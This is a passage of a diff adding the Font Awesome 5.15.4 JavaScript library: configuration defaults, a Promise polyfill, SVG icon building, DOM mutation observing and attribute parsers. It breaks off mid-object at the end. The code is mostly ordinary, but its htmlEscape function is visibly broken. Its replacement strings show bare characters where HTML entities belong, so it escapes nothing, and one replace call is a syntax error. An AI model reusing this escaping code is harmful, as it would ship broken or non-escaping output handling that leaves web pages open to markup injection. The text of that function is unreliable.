familyPrefix: DEFAULT_FAMILY_PREFIX, + replacementClass: DEFAULT_REPLACEMENT_CLASS, + autoReplaceSvg: true, + autoAddCss: true, + autoA11y: true, + searchPseudoElements: false, + observeMutations: true, + mutateApproach: 'async', + keepOriginalSource: true, + measurePerformance: false, + showMissingIcons: true + }; + + var _config = _objectSpread({}, _default, initial); + + if (!_config.autoReplaceSvg) _config.observeMutations = false; + + var config = _objectSpread({}, _config); + + WINDOW.FontAwesomeConfig = config; + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + var functions = []; + + var listener = function listener() { + DOCUMENT.removeEventListener('DOMContentLoaded', listener); + loaded = 1; + functions.map(function (fn) { + return fn(); + }); + }; + + var loaded = false; + + if (IS_DOM) { + loaded = (DOCUMENT.documentElement.doScroll ? /^loaded|^c/ : /^loaded|^i|^c/).test(DOCUMENT.readyState); + if (!loaded) DOCUMENT.addEventListener('DOMContentLoaded', listener); + } + + function domready (fn) { + if (!IS_DOM) return; + loaded ? setTimeout(fn, 0) : functions.push(fn); + } + + var PENDING = 'pending'; + var SETTLED = 'settled'; + var FULFILLED = 'fulfilled'; + var REJECTED = 'rejected'; + + var NOOP = function NOOP() {}; + + var isNode = typeof global !== 'undefined' && typeof global.process !== 'undefined' && typeof global.process.emit === 'function'; + var asyncSetTimer = typeof setImmediate === 'undefined' ? setTimeout : setImmediate; + var asyncQueue = []; + var asyncTimer; + + function asyncFlush() { + // run promise callbacks + for (var i = 0; i < asyncQueue.length; i++) { + asyncQueue[i][0](asyncQueue[i][1]); + } // reset async asyncQueue + + + asyncQueue = []; + asyncTimer = false; + } + + function asyncCall(callback, arg) { + asyncQueue.push([callback, arg]); + + if (!asyncTimer) { + asyncTimer = true; + asyncSetTimer(asyncFlush, 0); + } + } + + function invokeResolver(resolver, promise) { + function resolvePromise(value) { + resolve(promise, value); + } + + function rejectPromise(reason) { + reject(promise, reason); + } + + try { + resolver(resolvePromise, rejectPromise); + } catch (e) { + rejectPromise(e); + } + } + + function invokeCallback(subscriber) { + var owner = subscriber.owner; + var settled = owner._state; + var value = owner._data; + var callback = subscriber[settled]; + var promise = subscriber.then; + + if (typeof callback === 'function') { + settled = FULFILLED; + + try { + value = callback(value); + } catch (e) { + reject(promise, e); + } + } + + if (!handleThenable(promise, value)) { + if (settled === FULFILLED) { + resolve(promise, value); + } + + if (settled === REJECTED) { + reject(promise, value); + } + } + } + + function handleThenable(promise, value) { + var resolved; + + try { + if (promise === value) { + throw new TypeError('A promises callback cannot return that same promise.'); + } + + if (value && (typeof value === 'function' || _typeof(value) === 'object')) { + // then should be retrieved only once + var then = value.then; + + if (typeof then === 'function') { + then.call(value, function (val) { + if (!resolved) { + resolved = true; + + if (value === val) { + fulfill(promise, val); + } else { + resolve(promise, val); + } + } + }, function (reason) { + if (!resolved) { + resolved = true; + reject(promise, reason); + } + }); + return true; + } + } + } catch (e) { + if (!resolved) { + reject(promise, e); + } + + return true; + } + + return false; + } + + function resolve(promise, value) { + if (promise === value || !handleThenable(promise, value)) { + fulfill(promise, value); + } + } + + function fulfill(promise, value) { + if (promise._state === PENDING) { + promise._state = SETTLED; + promise._data = value; + asyncCall(publishFulfillment, promise); + } + } + + function reject(promise, reason) { + if (promise._state === PENDING) { + promise._state = SETTLED; + promise._data = reason; + asyncCall(publishRejection, promise); + } + } + + function publish(promise) { + promise._then = promise._then.forEach(invokeCallback); + } + + function publishFulfillment(promise) { + promise._state = FULFILLED; + publish(promise); + } + + function publishRejection(promise) { + promise._state = REJECTED; + publish(promise); + + if (!promise._handled && isNode) { + global.process.emit('unhandledRejection', promise._data, promise); + } + } + + function notifyRejectionHandled(promise) { + global.process.emit('rejectionHandled', promise); + } + /** + * @class + */ + + + function P(resolver) { + if (typeof resolver !== 'function') { + throw new TypeError('Promise resolver ' + resolver + ' is not a function'); + } + + if (this instanceof P === false) { + throw new TypeError('Failed to construct \'Promise\': Please use the \'new\' operator, this object constructor cannot be called as a function.'); + } + + this._then = []; + invokeResolver(resolver, this); + } + + P.prototype = { + constructor: P, + _state: PENDING, + _then: null, + _data: undefined, + _handled: false, + then: function then(onFulfillment, onRejection) { + var subscriber = { + owner: this, + then: new this.constructor(NOOP), + fulfilled: onFulfillment, + rejected: onRejection + }; + + if ((onRejection || onFulfillment) && !this._handled) { + this._handled = true; + + if (this._state === REJECTED && isNode) { + asyncCall(notifyRejectionHandled, this); + } + } + + if (this._state === FULFILLED || this._state === REJECTED) { + // already resolved, call callback async + asyncCall(invokeCallback, subscriber); + } else { + // subscribe + this._then.push(subscriber); + } + + return subscriber.then; + }, + catch: function _catch(onRejection) { + return this.then(null, onRejection); + } + }; + + P.all = function (promises) { + if (!Array.isArray(promises)) { + throw new TypeError('You must pass an array to Promise.all().'); + } + + return new P(function (resolve, reject) { + var results = []; + var remaining = 0; + + function resolver(index) { + remaining++; + return function (value) { + results[index] = value; + + if (! --remaining) { + resolve(results); + } + }; + } + + for (var i = 0, promise; i < promises.length; i++) { + promise = promises[i]; + + if (promise && typeof promise.then === 'function') { + promise.then(resolver(i), reject); + } else { + results[i] = promise; + } + } + + if (!remaining) { + resolve(results); + } + }); + }; + + P.race = function (promises) { + if (!Array.isArray(promises)) { + throw new TypeError('You must pass an array to Promise.race().'); + } + + return new P(function (resolve, reject) { + for (var i = 0, promise; i < promises.length; i++) { + promise = promises[i]; + + if (promise && typeof promise.then === 'function') { + promise.then(resolve, reject); + } else { + resolve(promise); + } + } + }); + }; + + P.resolve = function (value) { + if (value && _typeof(value) === 'object' && value.constructor === P) { + return value; + } + + return new P(function (resolve) { + resolve(value); + }); + }; + + P.reject = function (reason) { + return new P(function (resolve, reject) { + reject(reason); + }); + }; + + var picked = typeof Promise === 'function' ? Promise : P; + + var d = UNITS_IN_GRID; + var meaninglessTransform = { + size: 16, + x: 0, + y: 0, + rotate: 0, + flipX: false, + flipY: false + }; + + function isReserved(name) { + return ~RESERVED_CLASSES.indexOf(name); + } + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + function insertCss(css) { + if (!css || !IS_DOM) { + return; + } + + var style = DOCUMENT.createElement('style'); + style.setAttribute('type', 'text/css'); + style.innerHTML = css; + var headChildren = DOCUMENT.head.childNodes; + var beforeChild = null; + + for (var i = headChildren.length - 1; i > -1; i--) { + var child = headChildren[i]; + var tagName = (child.tagName || '').toUpperCase(); + + if (['STYLE', 'LINK'].indexOf(tagName) > -1) { + beforeChild = child; + } + } + + DOCUMENT.head.insertBefore(style, beforeChild); + return css; + } + var idPool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + function nextUniqueId() { + var size = 12; + var id = ''; + + while (size-- > 0) { + id += idPool[Math.random() * 62 | 0]; + } + + return id; + } + function toArray(obj) { + var array = []; + + for (var i = (obj || []).length >>> 0; i--;) { + array[i] = obj[i]; + } + + return array; + } + function classArray(node) { + if (node.classList) { + return toArray(node.classList); + } else { + return (node.getAttribute('class') || '').split(' ').filter(function (i) { + return i; + }); + } + } + function getIconName(familyPrefix, cls) { + var parts = cls.split('-'); + var prefix = parts[0]; + var iconName = parts.slice(1).join('-'); + + if (prefix === familyPrefix && iconName !== '' && !isReserved(iconName)) { + return iconName; + } else { + return null; + } + } + function htmlEscape(str) { + return "".concat(str).replace(/&/g, '&').replace(/"/g, '"').replace(/'/g, ''').replace(/</g, '<').replace(/>/g, '>'); + } + function joinAttributes(attributes) { + return Object.keys(attributes || {}).reduce(function (acc, attributeName) { + return acc + "".concat(attributeName, "=\"").concat(htmlEscape(attributes[attributeName]), "\" "); + }, '').trim(); + } + function joinStyles(styles) { + return Object.keys(styles || {}).reduce(function (acc, styleName) { + return acc + "".concat(styleName, ": ").concat(styles[styleName], ";"); + }, ''); + } + function transformIsMeaningful(transform) { + return transform.size !== meaninglessTransform.size || transform.x !== meaninglessTransform.x || transform.y !== meaninglessTransform.y || transform.rotate !== meaninglessTransform.rotate || transform.flipX || transform.flipY; + } + function transformForSvg(_ref) { + var transform = _ref.transform, + containerWidth = _ref.containerWidth, + iconWidth = _ref.iconWidth; + var outer = { + transform: "translate(".concat(containerWidth / 2, " 256)") + }; + var innerTranslate = "translate(".concat(transform.x * 32, ", ").concat(transform.y * 32, ") "); + var innerScale = "scale(".concat(transform.size / 16 * (transform.flipX ? -1 : 1), ", ").concat(transform.size / 16 * (transform.flipY ? -1 : 1), ") "); + var innerRotate = "rotate(".concat(transform.rotate, " 0 0)"); + var inner = { + transform: "".concat(innerTranslate, " ").concat(innerScale, " ").concat(innerRotate) + }; + var path = { + transform: "translate(".concat(iconWidth / 2 * -1, " -256)") + }; + return { + outer: outer, + inner: inner, + path: path + }; + } + function transformForCss(_ref2) { + var transform = _ref2.transform, + _ref2$width = _ref2.width, + width = _ref2$width === void 0 ? UNITS_IN_GRID : _ref2$width, + _ref2$height = _ref2.height, + height = _ref2$height === void 0 ? UNITS_IN_GRID : _ref2$height, + _ref2$startCentered = _ref2.startCentered, + startCentered = _ref2$startCentered === void 0 ? false : _ref2$startCentered; + var val = ''; + + if (startCentered && IS_IE) { + val += "translate(".concat(transform.x / d - width / 2, "em, ").concat(transform.y / d - height / 2, "em) "); + } else if (startCentered) { + val += "translate(calc(-50% + ".concat(transform.x / d, "em), calc(-50% + ").concat(transform.y / d, "em)) "); + } else { + val += "translate(".concat(transform.x / d, "em, ").concat(transform.y / d, "em) "); + } + + val += "scale(".concat(transform.size / d * (transform.flipX ? -1 : 1), ", ").concat(transform.size / d * (transform.flipY ? -1 : 1), ") "); + val += "rotate(".concat(transform.rotate, "deg) "); + return val; + } + + var ALL_SPACE = { + x: 0, + y: 0, + width: '100%', + height: '100%' + }; + + function fillBlack(abstract) { + var force = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + + if (abstract.attributes && (abstract.attributes.fill || force)) { + abstract.attributes.fill = 'black'; + } + + return abstract; + } + + function deGroup(abstract) { + if (abstract.tag === 'g') { + return abstract.children; + } else { + return [abstract]; + } + } + + function makeIconMasking (_ref) { + var children = _ref.children, + attributes = _ref.attributes, + main = _ref.main, + mask = _ref.mask, + explicitMaskId = _ref.maskId, + transform = _ref.transform; + var mainWidth = main.width, + mainPath = main.icon; + var maskWidth = mask.width, + maskPath = mask.icon; + var trans = transformForSvg({ + transform: transform, + containerWidth: maskWidth, + iconWidth: mainWidth + }); + var maskRect = { + tag: 'rect', + attributes: _objectSpread({}, ALL_SPACE, { + fill: 'white' + }) + }; + var maskInnerGroupChildrenMixin = mainPath.children ? { + children: mainPath.children.map(fillBlack) + } : {}; + var maskInnerGroup = { + tag: 'g', + attributes: _objectSpread({}, trans.inner), + children: [fillBlack(_objectSpread({ + tag: mainPath.tag, + attributes: _objectSpread({}, mainPath.attributes, trans.path) + }, maskInnerGroupChildrenMixin))] + }; + var maskOuterGroup = { + tag: 'g', + attributes: _objectSpread({}, trans.outer), + children: [maskInnerGroup] + }; + var maskId = "mask-".concat(explicitMaskId || nextUniqueId()); + var clipId = "clip-".concat(explicitMaskId || nextUniqueId()); + var maskTag = { + tag: 'mask', + attributes: _objectSpread({}, ALL_SPACE, { + id: maskId, + maskUnits: 'userSpaceOnUse', + maskContentUnits: 'userSpaceOnUse' + }), + children: [maskRect, maskOuterGroup] + }; + var defs = { + tag: 'defs', + children: [{ + tag: 'clipPath', + attributes: { + id: clipId + }, + children: deGroup(maskPath) + }, maskTag] + }; + children.push(defs, { + tag: 'rect', + attributes: _objectSpread({ + fill: 'currentColor', + 'clip-path': "url(#".concat(clipId, ")"), + mask: "url(#".concat(maskId, ")") + }, ALL_SPACE) + }); + return { + children: children, + attributes: attributes + }; + } + + function makeIconStandard (_ref) { + var children = _ref.children, + attributes = _ref.attributes, + main = _ref.main, + transform = _ref.transform, + styles = _ref.styles; + var styleString = joinStyles(styles); + + if (styleString.length > 0) { + attributes['style'] = styleString; + } + + if (transformIsMeaningful(transform)) { + var trans = transformForSvg({ + transform: transform, + containerWidth: main.width, + iconWidth: main.width + }); + children.push({ + tag: 'g', + attributes: _objectSpread({}, trans.outer), + children: [{ + tag: 'g', + attributes: _objectSpread({}, trans.inner), + children: [{ + tag: main.icon.tag, + children: main.icon.children, + attributes: _objectSpread({}, main.icon.attributes, trans.path) + }] + }] + }); + } else { + children.push(main.icon); + } + + return { + children: children, + attributes: attributes + }; + } + + function asIcon (_ref) { + var children = _ref.children, + main = _ref.main, + mask = _ref.mask, + attributes = _ref.attributes, + styles = _ref.styles, + transform = _ref.transform; + + if (transformIsMeaningful(transform) && main.found && !mask.found) { + var width = main.width, + height = main.height; + var offset = { + x: width / height / 2, + y: 0.5 + }; + attributes['style'] = joinStyles(_objectSpread({}, styles, { + 'transform-origin': "".concat(offset.x + transform.x / 16, "em ").concat(offset.y + transform.y / 16, "em") + })); + } + + return [{ + tag: 'svg', + attributes: attributes, + children: children + }]; + } + + function asSymbol (_ref) { + var prefix = _ref.prefix, + iconName = _ref.iconName, + children = _ref.children, + attributes = _ref.attributes, + symbol = _ref.symbol; + var id = symbol === true ? "".concat(prefix, "-").concat(config.familyPrefix, "-").concat(iconName) : symbol; + return [{ + tag: 'svg', + attributes: { + style: 'display: none;' + }, + children: [{ + tag: 'symbol', + attributes: _objectSpread({}, attributes, { + id: id + }), + children: children + }] + }]; + } + + function makeInlineSvgAbstract(params) { + var _params$icons = params.icons, + main = _params$icons.main, + mask = _params$icons.mask, + prefix = params.prefix, + iconName = params.iconName, + transform = params.transform, + symbol = params.symbol, + title = params.title, + maskId = params.maskId, + titleId = params.titleId, + extra = params.extra, + _params$watchable = params.watchable, + watchable = _params$watchable === void 0 ? false : _params$watchable; + + var _ref = mask.found ? mask : main, + width = _ref.width, + height = _ref.height; + + var isUploadedIcon = prefix === 'fak'; + var widthClass = isUploadedIcon ? '' : "fa-w-".concat(Math.ceil(width / height * 16)); + var attrClass = [config.replacementClass, iconName ? "".concat(config.familyPrefix, "-").concat(iconName) : '', widthClass].filter(function (c) { + return extra.classes.indexOf(c) === -1; + }).filter(function (c) { + return c !== '' || !!c; + }).concat(extra.classes).join(' '); + var content = { + children: [], + attributes: _objectSpread({}, extra.attributes, { + 'data-prefix': prefix, + 'data-icon': iconName, + 'class': attrClass, + 'role': extra.attributes.role || 'img', + 'xmlns': 'http://www.w3.org/2000/svg', + 'viewBox': "0 0 ".concat(width, " ").concat(height) + }) + }; + var uploadedIconWidthStyle = isUploadedIcon && !~extra.classes.indexOf('fa-fw') ? { + width: "".concat(width / height * 16 * 0.0625, "em") + } : {}; + + if (watchable) { + content.attributes[DATA_FA_I2SVG] = ''; + } + + if (title) content.children.push({ + tag: 'title', + attributes: { + id: content.attributes['aria-labelledby'] || "title-".concat(titleId || nextUniqueId()) + }, + children: [title] + }); + + var args = _objectSpread({}, content, { + prefix: prefix, + iconName: iconName, + main: main, + mask: mask, + maskId: maskId, + transform: transform, + symbol: symbol, + styles: _objectSpread({}, uploadedIconWidthStyle, extra.styles) + }); + + var _ref2 = mask.found && main.found ? makeIconMasking(args) : makeIconStandard(args), + children = _ref2.children, + attributes = _ref2.attributes; + + args.children = children; + args.attributes = attributes; + + if (symbol) { + return asSymbol(args); + } else { + return asIcon(args); + } + } + function makeLayersTextAbstract(params) { + var content = params.content, + width = params.width, + height = params.height, + transform = params.transform, + title = params.title, + extra = params.extra, + _params$watchable2 = params.watchable, + watchable = _params$watchable2 === void 0 ? false : _params$watchable2; + + var attributes = _objectSpread({}, extra.attributes, title ? { + 'title': title + } : {}, { + 'class': extra.classes.join(' ') + }); + + if (watchable) { + attributes[DATA_FA_I2SVG] = ''; + } + + var styles = _objectSpread({}, extra.styles); + + if (transformIsMeaningful(transform)) { + styles['transform'] = transformForCss({ + transform: transform, + startCentered: true, + width: width, + height: height + }); + styles['-webkit-transform'] = styles['transform']; + } + + var styleString = joinStyles(styles); + + if (styleString.length > 0) { + attributes['style'] = styleString; + } + + var val = []; + val.push({ + tag: 'span', + attributes: attributes, + children: [content] + }); + + if (title) { + val.push({ + tag: 'span', + attributes: { + class: 'sr-only' + }, + children: [title] + }); + } + + return val; + } + function makeLayersCounterAbstract(params) { + var content = params.content, + title = params.title, + extra = params.extra; + + var attributes = _objectSpread({}, extra.attributes, title ? { + 'title': title + } : {}, { + 'class': extra.classes.join(' ') + }); + + var styleString = joinStyles(extra.styles); + + if (styleString.length > 0) { + attributes['style'] = styleString; + } + + var val = []; + val.push({ + tag: 'span', + attributes: attributes, + children: [content] + }); + + if (title) { + val.push({ + tag: 'span', + attributes: { + class: 'sr-only' + }, + children: [title] + }); + } + + return val; + } + + var noop$1 = function noop() {}; + + var p = config.measurePerformance && PERFORMANCE && PERFORMANCE.mark && PERFORMANCE.measure ? PERFORMANCE : { + mark: noop$1, + measure: noop$1 + }; + var preamble = "FA \"5.15.4\""; + + var begin = function begin(name) { + p.mark("".concat(preamble, " ").concat(name, " begins")); + return function () { + return end(name); + }; + }; + + var end = function end(name) { + p.mark("".concat(preamble, " ").concat(name, " ends")); + p.measure("".concat(preamble, " ").concat(name), "".concat(preamble, " ").concat(name, " begins"), "".concat(preamble, " ").concat(name, " ends")); + }; + + var perf = { + begin: begin, + end: end + }; + + /** + * Internal helper to bind a function known to have 4 arguments + * to a given context. + */ + + var bindInternal4 = function bindInternal4(func, thisContext) { + return function (a, b, c, d) { + return func.call(thisContext, a, b, c, d); + }; + }; + + /** + * # Reduce + * + * A fast object `.reduce()` implementation. + * + * @param {Object} subject The object to reduce over. + * @param {Function} fn The reducer function. + * @param {mixed} initialValue The initial value for the reducer, defaults to subject[0]. + * @param {Object} thisContext The context for the reducer. + * @return {mixed} The final result. + */ + + + var reduce = function fastReduceObject(subject, fn, initialValue, thisContext) { + var keys = Object.keys(subject), + length = keys.length, + iterator = thisContext !== undefined ? bindInternal4(fn, thisContext) : fn, + i, + key, + result; + + if (initialValue === undefined) { + i = 1; + result = subject[keys[0]]; + } else { + i = 0; + result = initialValue; + } + + for (; i < length; i++) { + key = keys[i]; + result = iterator(result, subject[key], key, subject); + } + + return result; + }; + + function toHex(unicode) { + var result = ''; + + for (var i = 0; i < unicode.length; i++) { + var hex = unicode.charCodeAt(i).toString(16); + result += ('000' + hex).slice(-4); + } + + return result; + } + + function defineIcons(prefix, icons) { + var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + var _params$skipHooks = params.skipHooks, + skipHooks = _params$skipHooks === void 0 ? false : _params$skipHooks; + var normalized = Object.keys(icons).reduce(function (acc, iconName) { + var icon = icons[iconName]; + var expanded = !!icon.icon; + + if (expanded) { + acc[icon.iconName] = icon.icon; + } else { + acc[iconName] = icon; + } + + return acc; + }, {}); + + if (typeof namespace.hooks.addPack === 'function' && !skipHooks) { + namespace.hooks.addPack(prefix, normalized); + } else { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, normalized); + } + /** + * Font Awesome 4 used the prefix of `fa` for all icons. With the introduction + * of new styles we needed to differentiate between them. Prefix `fa` is now an alias + * for `fas` so we'll easy the upgrade process for our users by automatically defining + * this as well. + */ + + + if (prefix === 'fas') { + defineIcons('fa', icons); + } + } + + var styles = namespace.styles, + shims = namespace.shims; + var _byUnicode = {}; + var _byLigature = {}; + var _byOldName = {}; + var build = function build() { + var lookup = function lookup(reducer) { + return reduce(styles, function (o, style, prefix) { + o[prefix] = reduce(style, reducer, {}); + return o; + }, {}); + }; + + _byUnicode = lookup(function (acc, icon, iconName) { + if (icon[3]) { + acc[icon[3]] = iconName; + } + + return acc; + }); + _byLigature = lookup(function (acc, icon, iconName) { + var ligatures = icon[2]; + acc[iconName] = iconName; + ligatures.forEach(function (ligature) { + acc[ligature] = iconName; + }); + return acc; + }); + var hasRegular = 'far' in styles; + _byOldName = reduce(shims, function (acc, shim) { + var oldName = shim[0]; + var prefix = shim[1]; + var iconName = shim[2]; + + if (prefix === 'far' && !hasRegular) { + prefix = 'fas'; + } + + acc[oldName] = { + prefix: prefix, + iconName: iconName + }; + return acc; + }, {}); + }; + build(); + function byUnicode(prefix, unicode) { + return (_byUnicode[prefix] || {})[unicode]; + } + function byLigature(prefix, ligature) { + return (_byLigature[prefix] || {})[ligature]; + } + function byOldName(name) { + return _byOldName[name] || { + prefix: null, + iconName: null + }; + } + + var styles$1 = namespace.styles; + var emptyCanonicalIcon = function emptyCanonicalIcon() { + return { + prefix: null, + iconName: null, + rest: [] + }; + }; + function getCanonicalIcon(values) { + return values.reduce(function (acc, cls) { + var iconName = getIconName(config.familyPrefix, cls); + + if (styles$1[cls]) { + acc.prefix = cls; + } else if (config.autoFetchSvg && Object.keys(PREFIX_TO_STYLE).indexOf(cls) > -1) { + acc.prefix = cls; + } else if (iconName) { + var shim = acc.prefix === 'fa' ? byOldName(iconName) : {}; + acc.iconName = shim.iconName || iconName; + acc.prefix = shim.prefix || acc.prefix; + } else if (cls !== config.replacementClass && cls.indexOf('fa-w-') !== 0) { + acc.rest.push(cls); + } + + return acc; + }, emptyCanonicalIcon()); + } + function iconFromMapping(mapping, prefix, iconName) { + if (mapping && mapping[prefix] && mapping[prefix][iconName]) { + return { + prefix: prefix, + iconName: iconName, + icon: mapping[prefix][iconName] + }; + } + } + + function toHtml(abstractNodes) { + var tag = abstractNodes.tag, + _abstractNodes$attrib = abstractNodes.attributes, + attributes = _abstractNodes$attrib === void 0 ? {} : _abstractNodes$attrib, + _abstractNodes$childr = abstractNodes.children, + children = _abstractNodes$childr === void 0 ? [] : _abstractNodes$childr; + + if (typeof abstractNodes === 'string') { + return htmlEscape(abstractNodes); + } else { + return "<".concat(tag, " ").concat(joinAttributes(attributes), ">").concat(children.map(toHtml).join(''), "</").concat(tag, ">"); + } + } + + var noop$2 = function noop() {}; + + function isWatched(node) { + var i2svg = node.getAttribute ? node.getAttribute(DATA_FA_I2SVG) : null; + return typeof i2svg === 'string'; + } + + function getMutator() { + if (config.autoReplaceSvg === true) { + return mutators.replace; + } + + var mutator = mutators[config.autoReplaceSvg]; + return mutator || mutators.replace; + } + + var mutators = { + replace: function replace(mutation) { + var node = mutation[0]; + var abstract = mutation[1]; + var newOuterHTML = abstract.map(function (a) { + return toHtml(a); + }).join('\n'); + + if (node.parentNode && node.outerHTML) { + node.outerHTML = newOuterHTML + (config.keepOriginalSource && node.tagName.toLowerCase() !== 'svg' ? "<!-- ".concat(node.outerHTML, " Font Awesome fontawesome.com -->") : ''); + } else if (node.parentNode) { + var newNode = document.createElement('span'); + node.parentNode.replaceChild(newNode, node); + newNode.outerHTML = newOuterHTML; + } + }, + nest: function nest(mutation) { + var node = mutation[0]; + var abstract = mutation[1]; // If we already have a replaced node we do not want to continue nesting within it. + // Short-circuit to the standard replacement + + if (~classArray(node).indexOf(config.replacementClass)) { + return mutators.replace(mutation); + } + + var forSvg = new RegExp("".concat(config.familyPrefix, "-.*")); + delete abstract[0].attributes.style; + delete abstract[0].attributes.id; + var splitClasses = abstract[0].attributes.class.split(' ').reduce(function (acc, cls) { + if (cls === config.replacementClass || cls.match(forSvg)) { + acc.toSvg.push(cls); + } else { + acc.toNode.push(cls); + } + + return acc; + }, { + toNode: [], + toSvg: [] + }); + abstract[0].attributes.class = splitClasses.toSvg.join(' '); + var newInnerHTML = abstract.map(function (a) { + return toHtml(a); + }).join('\n'); + node.setAttribute('class', splitClasses.toNode.join(' ')); + node.setAttribute(DATA_FA_I2SVG, ''); + node.innerHTML = newInnerHTML; + } + }; + + function performOperationSync(op) { + op(); + } + + function perform(mutations, callback) { + var callbackFunction = typeof callback === 'function' ? callback : noop$2; + + if (mutations.length === 0) { + callbackFunction(); + } else { + var frame = performOperationSync; + + if (config.mutateApproach === MUTATION_APPROACH_ASYNC) { + frame = WINDOW.requestAnimationFrame || performOperationSync; + } + + frame(function () { + var mutator = getMutator(); + var mark = perf.begin('mutate'); + mutations.map(mutator); + mark(); + callbackFunction(); + }); + } + } + var disabled = false; + function disableObservation() { + disabled = true; + } + function enableObservation() { + disabled = false; + } + var mo = null; + function observe(options) { + if (!MUTATION_OBSERVER) { + return; + } + + if (!config.observeMutations) { + return; + } + + var treeCallback = options.treeCallback, + nodeCallback = options.nodeCallback, + pseudoElementsCallback = options.pseudoElementsCallback, + _options$observeMutat = options.observeMutationsRoot, + observeMutationsRoot = _options$observeMutat === void 0 ? DOCUMENT : _options$observeMutat; + mo = new MUTATION_OBSERVER(function (objects) { + if (disabled) return; + toArray(objects).forEach(function (mutationRecord) { + if (mutationRecord.type === 'childList' && mutationRecord.addedNodes.length > 0 && !isWatched(mutationRecord.addedNodes[0])) { + if (config.searchPseudoElements) { + pseudoElementsCallback(mutationRecord.target); + } + + treeCallback(mutationRecord.target); + } + + if (mutationRecord.type === 'attributes' && mutationRecord.target.parentNode && config.searchPseudoElements) { + pseudoElementsCallback(mutationRecord.target.parentNode); + } + + if (mutationRecord.type === 'attributes' && isWatched(mutationRecord.target) && ~ATTRIBUTES_WATCHED_FOR_MUTATION.indexOf(mutationRecord.attributeName)) { + if (mutationRecord.attributeName === 'class') { + var _getCanonicalIcon = getCanonicalIcon(classArray(mutationRecord.target)), + prefix = _getCanonicalIcon.prefix, + iconName = _getCanonicalIcon.iconName; + + if (prefix) mutationRecord.target.setAttribute('data-prefix', prefix); + if (iconName) mutationRecord.target.setAttribute('data-icon', iconName); + } else { + nodeCallback(mutationRecord.target); + } + } + }); + }); + if (!IS_DOM) return; + mo.observe(observeMutationsRoot, { + childList: true, + attributes: true, + characterData: true, + subtree: true + }); + } + function disconnect() { + if (!mo) return; + mo.disconnect(); + } + + function styleParser (node) { + var style = node.getAttribute('style'); + var val = []; + + if (style) { + val = style.split(';').reduce(function (acc, style) { + var styles = style.split(':'); + var prop = styles[0]; + var value = styles.slice(1); + + if (prop && value.length > 0) { + acc[prop] = value.join(':').trim(); + } + + return acc; + }, {}); + } + + return val; + } + + function classParser (node) { + var existingPrefix = node.getAttribute('data-prefix'); + var existingIconName = node.getAttribute('data-icon'); + var innerText = node.innerText !== undefined ? node.innerText.trim() : ''; + var val = getCanonicalIcon(classArray(node)); + + if (existingPrefix && existingIconName) { + val.prefix = existingPrefix; + val.iconName = existingIconName; + } + + if (val.prefix && innerText.length > 1) { + val.iconName = byLigature(val.prefix, node.innerText); + } else if (val.prefix && innerText.length === 1) { + val.iconName = byUnicode(val.prefix, toHex(node.innerText)); + } + + return val; + } + + var parseTransformString = function parseTransformString(transformString) { + var transform = { + size: 16, + x: 0, + y: 0, + flipX: false, + flipY: false, + rotate: 0 + }; + + if (!transformString) { + return transform; + } else { + return transformString.toLowerCase().split(' ').reduce(function (acc, n) { + var parts = n.toLowerCase().split('-'); + var first = parts[0]; + var rest = parts.slice(1).join('-'); + + if (first && rest === 'h') { + acc.flipX = true; + return acc; + } + + if (first && rest === 'v') { + acc.flipY = true; + return acc; + } + + rest = parseFloat(rest); + + if (isNaN(rest)) { + return acc; + } + + switch (first) { + case 'grow': + acc.size = acc.size + rest; + break; + + case 'shrink': + acc.size = acc.size - rest; + break; + + case 'left': + acc.x = acc.x - rest; + break; + + case 'right': + acc.x = acc.x + rest; + break; + + case 'up': + acc.y = acc.y - rest; + break; + + case 'down': + acc.y = acc.y + rest; + break; + + case 'rotate': + acc.rotate = acc.rotate + rest; + break; + } + + return acc; + }, transform); + } + }; + function transformParser (node) { + return parseTransformString(node.getAttribute('data-fa-transform')); + } + + function symbolParser (node) { + var symbol = node.getAttribute('data-fa-symbol'); + return symbol === null ? false : symbol === '' ? true : symbol; + } + + function attributesParser (node) { + var extraAttributes = toArray(node.attributes).reduce(function (acc, attr) { + if (acc.name !== 'class' && acc.name !== 'style') { + acc[attr.name] = attr.value; + } + + return acc; + }, {}); + var title = node.getAttribute('title'); + var titleId = node.getAttribute('data-fa-title-id'); + + if (config.autoA11y) { + if (title) { + extraAttributes['aria-labelledby'] = "".concat(config.replacementClass, "-title-").concat(titleId || nextUniqueId()); + } else { + extraAttributes['aria-hidden'] = 'true'; + extraAttributes['focusable'] = 'false'; + } + } + + return extraAttributes; + } + + function maskParser (node) { + var mask = node.getAttribute('data-fa-mask'); + + if (!mask) { + return emptyCanonicalIcon(); + } else { + return getCanonicalIcon(mask.split(' ').map(function (i) { + return i.trim(); + })); + } + } + + function blankMeta() { + return { + iconName: null, + title: null, + titleId: null, + prefix: null, + transform: meaninglessTransform, + symbol: false, + mask: null, + maskId: null, + extra: { + classes: [], + styles: {}, + attributes: {} + } + }; + } + function parseMeta(node) { + var _classParser = classParser(node), + iconName = _classParser.iconName, + prefix = _classParser.prefix, + extraClasses = _classParser.rest; + + var extraStyles = styleParser(node); + var transform = transformParser(node); + var symbol = symbolParser(node); + var extraAttributes = attributesParser(node); + var mask = maskParser(node); + return { + iconName: iconName, + title: node.getAttribute('title'), + titleId: node.getAttribute('data-fa-title-id'), + prefix: prefix, + transform: transform, + symbol: symbol, + mask: mask, + maskId: node.getAttribute('data-fa-mask-id'), + extra: { + classes: extraClasses, + styles: extraStyles, + attributes: extraAttributes + } + }; + } + + function MissingIcon(error) { + this.name = 'MissingIcon'; + this.message = error || 'Icon unavailable'; + this.stack = new Error().stack; + } + MissingIcon.prototype = Object.create(Error.prototype); + MissingIcon.prototype.constructor = MissingIcon; + + var FILL = { + fill: 'currentColor' + }; + var ANIMATION_BASE = { + attributeType: 'XML', + 